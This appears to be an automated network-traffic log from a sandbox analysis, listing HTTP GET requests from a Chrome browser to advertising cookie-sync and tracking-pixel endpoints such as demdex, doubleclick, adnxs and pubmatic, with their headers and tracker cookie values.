Source: global traffic	HTTP traffic detected: GET /ibs:dpid=30646?dpuuid=y-9MZjeM5E2pHhbq1o7wdNW8YX_LfsuM4zpjw-~A HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063
Source: global traffic	HTTP traffic detected: GET /dv/sync?tid=6 HTTP/1.1Host: ag.innovid.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=57282&dpuuid=764177A7D2C08DCC206089C3EFAF3FD8 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=72352&dpuuid=383283436482882224299&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=49276&dpuuid=97cf04f3-76f6-41df-8cf2-01895d0740c5 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=80742&dpuuid=27d4cade-8caa-434a-9f10-c079e9f7e01e HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=30646?dpuuid=y-9MZjeM5E2pHhbq1o7wdNW8YX_LfsuM4zpjw-~A HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=72352&dpuuid=383283436482882224299&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059\|144229-1-1735488037061\|144230-1-1735488038140
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=80742&dpuuid=27d4cade-8caa-434a-9f10-c079e9f7e01e HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059\|144229-1-1735488037061\|144230-1-1735488038140
Source: global traffic	HTTP traffic detected: GET /map/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=14292414026342929303205682463020426373?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z3FyGwAAFARtxwAT HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059\|144229-1-1735488037061\|144230-1-1735488038140\|144231-1-1735488039064\|144232-1-1735488040068
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WjNGeUd3QUFGQVJ0eHdBVA== HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUnliyn7AIx15oeqoGxRcDA0d6Hmz6MUoHHkCSL0T4l06nqmQHCawWhpW7vkQsw
Source: global traffic	HTTP traffic detected: GET /map/ct=y/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=14292414026342929303205682463020426373?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cc_cc=ctst
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z3FyGwAAFARtxwAT HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059\|144229-1-1735488037061\|144230-1-1735488038140\|144231-1-1735488039064\|144232-1-1735488040068\|144233-1-1735488041305\|144234-1-1735488042058\|144235-1-1735488043060
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=121998&dpuuid=83141a6ab16704ba82103f5ac51471c2 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059\|144229-1-1735488037061\|144230-1-1735488038140\|144231-1-1735488039064\|144232-1-1735488040068\|144233-1-1735488041305\|144234-1-1735488042058\|144235-1-1735488043060\|144236-1-1735488044060
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WjNGeUd3QUFGQVJ0eHdBVA== HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUnliyn7AIx15oeqoGxRcDA0d6Hmz6MUoHHkCSL0T4l06nqmQHCawWhpW7vkQsw
Source: global traffic	HTTP traffic detected: GET /sg/adobe/1/cm?gdpr=0&gdpr_consent= HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=121998&dpuuid=83141a6ab16704ba82103f5ac51471c2 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059\|144229-1-1735488037061\|144230-1-1735488038140\|144231-1-1735488039064\|144232-1-1735488040068\|144233-1-1735488041305\|144234-1-1735488042058\|144235-1-1735488043060\|144236-1-1735488044060\|144237-1-1735488045059\|147592-1-1735488046060
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=Z3FyGwAAFARtxwAT HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?entity=158&code=Z3FyGwAAFARtxwAT HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=OIlOAop_EwmhN9NFMZwNgCeBxjABOfu7wyT_7VbQR8FlbaT3wt2IQRTDttGTuB0pOAaLPvfKvkU3zk2iPF9-1Q-39Fa7UMjwcTrQaUpKgAE.; receive-cookie-deprecation=1; uuid2=3176039311885126412
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Z3FyGwAAFARtxwAT HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=Z3FyGwAAFARtxwAT HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sg/adobe/1/cm?gdpr=0&gdpr_consent= HTTP/1.1Host: trc.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=Z3FyGwAAFARtxwAT&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Z3FyMUt3uWIAAFtyBLOnoAAA; CMPS=139; CMPRO=139
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Z3FyGwAAFARtxwAT&cc=1 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=100a87ce-6185-48fd-92f0-ba69c0daf3e8\|1735488050
Source: global traffic	HTTP traffic detected: GET /fr/b.php?p=1531105787105294&e=Z3FyGwAAFARtxwAT&t=2592000&o=0 HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?entity=158&code=Z3FyGwAAFARtxwAT HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=3176039311885126412; anj=dTM7k!M4.FErk#WF']wIg2In9:2rL!@wnfH)iR8PMp-v=0HG3]o]t@iJ%5s[503G3ltJ3TKBgG/X%W#.wL5oa9/sZwfzrVFrAmtB+NK1Q67Oe!@@RQqNDt
Source: global traffic	HTTP traffic detected: GET /sync?nid=adobe HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=Z3FyGwAAFARtxwAT HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KRTBCOOKIE_218=22978-Z3FyGwAAFARtxwAT&KRTB&23194-Z3FyGwAAFARtxwAT&KRTB&23209-Z3FyGwAAFARtxwAT&KRTB&23244-Z3FyGwAAFARtxwAT; PugT=1735488050
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=Z3FyGwAAFARtxwAT&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Z3FyMUt3uWIAAFtyBLOnoAAA; CMPS=139; CMPRO=139
